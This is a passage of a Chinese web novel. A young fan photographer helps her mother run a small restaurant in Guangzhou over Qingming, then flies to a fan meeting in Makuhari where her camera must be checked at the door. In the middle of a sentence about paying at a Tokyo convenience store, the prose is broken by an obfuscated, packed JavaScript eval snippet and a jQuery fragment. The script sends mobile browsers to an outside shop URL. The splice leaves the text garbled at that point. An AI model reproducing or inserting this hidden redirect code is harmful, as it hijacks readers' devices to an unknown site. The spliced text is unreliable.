四月，她回了一趟家。
她妈江秀兰的小饭馆，开在文明路一条横巷里，门脸不大，招牌上三个字——江记。
白墙塑料椅，头顶吊扇转了二十年，墙上手写菜单一张，过塑 A4，连扫码点餐都没有。熟客进门不看菜单，直喊"秀兰，一份蒸排骨，一份菜远，一碗白饭"。清明前后是店子一年里最忙的日子之一：广州人讲究祭祖回家吃饭，加上春暖踏青，客人一拨一拨。
清明当天她坐城轨回广州。
到店里妈妈正蹲地上理打包盒，三十个摞一摞。回头见她，愣了一下："返嚟咗？学校放假？"
"没课。"
"死火，一个人点。"
江秀兰围裙都没解，下巴朝后厨努了努："围裙喺门后面，自己系上。外面张台冇收，先收咗。"
她嗯了一声，钻进后厨。围裙是旧的，蓝条子棉布，跟她小学那条一样。腰上带子松，她打了个死结。
收完外台，她去端汤。鸡骨草煲老鸭，汤还没开，妈妈在灶台前头也不抬："靓女一份蒸排骨一份菜远——二号台嘅咸鱼茄子煲好咗未？"
二号台还没上，妈妈已经催了。
街坊张叔抬头看了她一眼："诶，系秀兰个女啊，喺学校返嚟帮阿妈手？"
"嗯。"
张叔冲灶台喊："秀兰！你生嘅呢个阿女靓过你啰。"
"佢边度靓过我，衰女。"江秀兰没回头，"快手啲。"
第二天早上五点半，江秀兰拽她去东川菜场。
菜场六点是收尾高峰。妈妈跟档口的潮汕阿姨十多年交情——"阿容，今日青瓜几钱？""三蚊半。""死嘢，又贵咗。"阿姨手脚飞快地把菜往袋里装，一边打量她："秀兰，你女咁高嘅？""读紧大学。""咁叻喎，唔好返嚟做呢行。""佢边度做呢行。"妈妈挑通菜，眼睛都不抬。
她跟在后面拎，拎到一半手就酸。
江秀兰找档口黄鱼。档主不在，自己挑。捏鱼身子，翻腮，按一按鱼腹，手法很熟。
"妈，你点解睇得出边条鱼新唔新鲜？"
"睇佢眼。"江秀兰不抬眼，"眼珠亮嘅，系新嘅。眼珠发白嘅，久咗。"
"眼珠亮……"
"唔好学，你唔做呢行。"
她嗯了一声，没接话。
中午店里就帮工陈姨一个人，五十多，腰不好，江秀兰让她歇着，今天母女俩顶。煲仔饭十煲同开——灶眼全占，瓦煲叠成塔，火焰舔着煲底。妈妈站在灶台前，两只眼睛分给十只煲，分得清清楚楚。她在前面跑，端菜，跑菜，收台。
一只煲仔饭端到二号台，端急了——瓦煲盖一晃，米汤差点洒出来。她左手捧底，右手扶盖，稳住了。
下午两点半，店空了。她瘫在塑料椅上，看妈妈数钱。
"今日生意几好？"
"六千几。"
"……咁少？"
"六千几啊，衰女，你当呢度係上海啊？"
她闭嘴。过了一会儿小声嘟囔："我喺长沙一日跑三个场，你喺广州一个店坐一日……"
"坐一日？"
"做一日。"
"坐一日都未坐过。"
"哦。"
第三天上午，江秀兰煮了一锅清补凉。
清补凉是广州糖水的底子——沙参、玉竹、莲子、百合、薏米、淮山，一样一样抓，一样一样洗，一样一样下锅，她蹲在旁边看。
"妈，清补凉要煮几耐？"
"两三个钟。"
"咁耐？"
"你呢个衰女，食糖水你唔识，煮糖水你都唔识。"
"我学。"
"你学嚟做咩？"
她停了一下。"……学嚟煲俾你饮。"
江秀兰手顿了一下，过了一息，没回头，继续搅锅。
下午店里没客人，她跟妈妈并排坐塑料椅，腿伸得老长。
"妈，你呢间店开咗几耐？"
"二十三年咯。"
"……咁耐？"
"你嗰阵得三岁。"
"我三岁嗰阵你就开？"
"你爸走咗嗰年开嘅。"
她没接话。过了一会儿，她说："妈，开咗二十三年，几辛苦？"
"辛苦咩？"江秀兰不抬眼，"一日过一日啫。"
说完江秀兰掏手机，随手划两下，哎哟一声："这小伙子脚好了？你看，跳得多高。"
她喉咙动了动，没出声。
傍晚收工，江秀兰硬塞一袋龙眼给她，街坊阿婆自家种的，傍晚阿婆临走塞两袋给妈妈，妈妈塞给她。
"拎走拎走，阿婆种嘅，唔食就烂。"
"妈，你自己食。"
"你拎返去，食饭要食水果，唔好嫌烦。"
她拎着水果，走出店门，回头看了一眼，江记，招牌旧了，灯还亮着。妈妈在里头擦桌子，背影瘦小。
她站了三秒，转身往地铁站走。
她把龙眼拎回宿舍，剥了几颗，没记进账本。妈妈塞的水果不是钱，不该算进账——也不该不算。想了想，她在账本最后一页空白处写了一行：
4.4–4.6，回广州帮妈妈。贴了三天，没收人工。妈妈塞了一袋龙眼。这一行没数字，跟前面所有账都不一样。她看了两秒，没划掉。
有些账，本来就不该用数字记。
四月中旬，旧梦给她发了条微信。
旧梦：你偶像五月在日本，有FM，幕张，5.14。我上家接日本票务的活，手里有渠道。
她：不去，存钱。
旧梦：哦。
她放下手机，继续改论文。改了半小时，她又拿起手机，把那条消息看了三遍。
那天晚上她查了一晚上攻略：广州飞东京怎么飞最便宜，胶囊旅馆一晚多少钱，日本签证怎么办，FM票怎么拿，不会日语能不能活。
结论是都能，她缺的只是一个理由。
第二天她给自己找了个理由：毕业旅行。大四了，答辩前出去一趟，回来收心，天经地义。
妈妈问的时候，她就是这个理由。江秀兰二话没说，从围裙兜里摸出两千块，塞给她："穷家富路。"
"妈，我有钱。"
"你那点拍照赚的钱，够干嘛的。"江秀兰把钱按进她手里，"拿着，毕业旅行，别抠门。"
她收了，她打定主意，这钱一分不动，回来塞回妈妈枕头底下。
签证是淘宝办的，四百，说是一周出签。
机票她没等签证，先买了。廉航，红眼——广州坐大巴到香港，香港飞东京，便宜。付钱那天她手抖了一下，还是付了。她想，签证要是下不来，两千块就当去香港逛了一圈。
后来签证真下来了。她捧着护照上崭新的签证页，心想：这张纸，四舍五入，也是票。
四月底，她翻账本。那两笔已经记上了：
4.22，签证，400。
4.28，机票（含巴士、行李），2,000。
她盯着这两行看了很久。
图费2,400还在账上，六十份口味虾一只没动。签到金先垫了——垫出去的钱，她安慰自己，会回来的。
小字她写了一句：说好的存钱，下不为例。大概吧。
五月十三号，她飞东京。
香港快运的座位挤，她缩在窗边，看云。旁边一个大妈用粤语跟她说了一路，问她去东京做什么、一个人怕不怕。她嗯嗯啊啊应了一路，只说自己毕业旅行。
下了飞机她想，这谎话，越说越顺嘴了。
语言不通这事她倒不怕，日语不会，大概跟辣一样，扛扛就过去了。
成田机场出来，天快亮了。她拖着箱子找京成线，自动售票机上一水儿的日文，她研究了五分钟，后面一个日本大叔看不过去，帮她按了票。
"谢谢。"她说，发音别扭得像在咬舌头。
大叔笑了，用蹩脚的英文问："China？"
她点头。
大叔竖了个大拇指，走了。
她捏着票，站在清晨五点的成田机场，忽然觉得，好像也没那么难。
胶囊旅馆在浅草，她订的是前一晚的床位——红眼航班的人都这么干，凌晨到，先睡。
清晨的浅草静悄悄的，她钻进胶囊，插上随身WiFi，蒙头睡到中午。
醒来，去街对面便利店。
饭团，一百多日元一个，她挑了俩，又拿了一盒炸鸡，一盒布丁。收银台结账，她把一把硬币摊在手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936237|213721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上，店员自己从里头挑，挑完朝她笑笑。
她咬第一口饭团，愣住了。
日本的米，是甜的。
她拍了张照片发给旧梦：这里的米是甜的。
旧梦：？？？你大老远飞过去，就吃个饭团？
她：明天去买仙贝，给你背回去。
旧梦：背得动吗你。
她改了两页论文，改累了，出门溜达。雷门的大灯笼，穿和服的游客，浅草寺门口排着长队的抽签桶。她看了一圈，没抽。
下午，她坐电车去幕张。车厢里陆续上来举着应援棒的姑娘，皇冠灯，小小一个，挂在包上晃。她看了眼自己空荡荡的包，她的"应援物"在相机包里，长焦，两斤重。
到了幕张展馆，她傻眼了。
入场口立着牌子，日文英文并排：禁止摄影、禁止录音。工作人员挨个检查，看到镜头就摇头，指旁边的寄存处。
她抱着相机包，愣在原地。
"……我拍不了？"
工作人员听不懂中文，但看懂了她怀里的包，很客气地又指了指寄存处。
她抱了抱相机包，像抱一只不肯撒手的猫。
"就两小时。"她跟相机说话，"你等我。"
存好相机，她两手空空地进场。日本粉丝安安静静坐着，应援棒举得整整齐齐，没人举长焦，没人站起来，没人喊。她坐在人堆里，浑身不得劲。
灯灭了。
前奏一响，她条件反射地抬手，手边没有相机。她把手放下来，搁在膝盖上。
她看见了他。
不是取景器里那个他，取景器只能框住一张脸，她今天看见的是整个人——
他从前台跑过来，衣摆带风，头发被汗黏在额角。
唱日文版的时候，他的嘴型比唱韩文用力。一个字一个字，咬得很认真。
唱到一半，他回头跟太阳碰了个眼神。两个人不知道笑什么，又都憋回去。
她以前不知道他会这样。她以前只拍他对着镜头的时候，没拍过他对着队友的时候。
他开口说日语，自己先笑了，全场跟着笑。她听不懂，也跟着笑。
散场的时候她明白了：笑是不需要翻译的。她到现在也不知道他为什么笑，但那一下，她是真心的。
抽奖环节他念号码，念到一半卡住，低头看手上的卡片。满场静悄悄，都在等他。
他抬起头，有点不好意思："……忘了。"
全场笑成一片，她也笑。
她忽然觉得，这样也挺好。
旁边坐的日本妹子散场时用英文跟她搭话："Are you from China？"
她点头，妹子眼睛亮了，用磕磕绊绊的英文说，她去过一次上海，看过他们的演唱会，中国粉丝好热情。
"你拍到他了吗？"妹子问。
"没有。"她指了指寄存处，"相机存在那了。"
妹子啊了一声，一脸可惜。她想了想，帮妹子在馆外拍了张照，举着妹子的手机，对着幕张展馆的大楼。
拍完她看了看，构图还行。她举着别人的手机，头一回不是为了自己按快门。
"好看。"妹子看着照片，很开心，从包里摸出一颗糖给她。
"……谢谢。"
糖是草莓味的。她含在嘴里，甜了一路。
跟妹子告了别，她绕回会场商店，买了件T恤，印着场次和日期。图一张没拍成，总得留个凭证。
往车站走，她才想起签到。系统铺开一行字：【签到第330天。特殊地点，奖励翻倍。签到金+600。】
她看了一眼，哦了一声。搁在平时，她能高兴一路——今天她心思不在这。
回浅草的电车上，她发了条微博，配了一张照片——中午那个饭团：
日本FM，相机寄存了。发个饭团，证明我来过。
评论区炸了。
"姐姐你居然没图？！"
"站姐没图，时代的眼泪。"
"等等，她追到日本去了？？"
"漂洋过海的站姐，去年七座城，今年跨海了。"
她没回评论，靠着车窗，看东京的灯一盏一盏往后跑。跟长沙回广州那趟夜车一样，只是这回，她一张照片都没拍。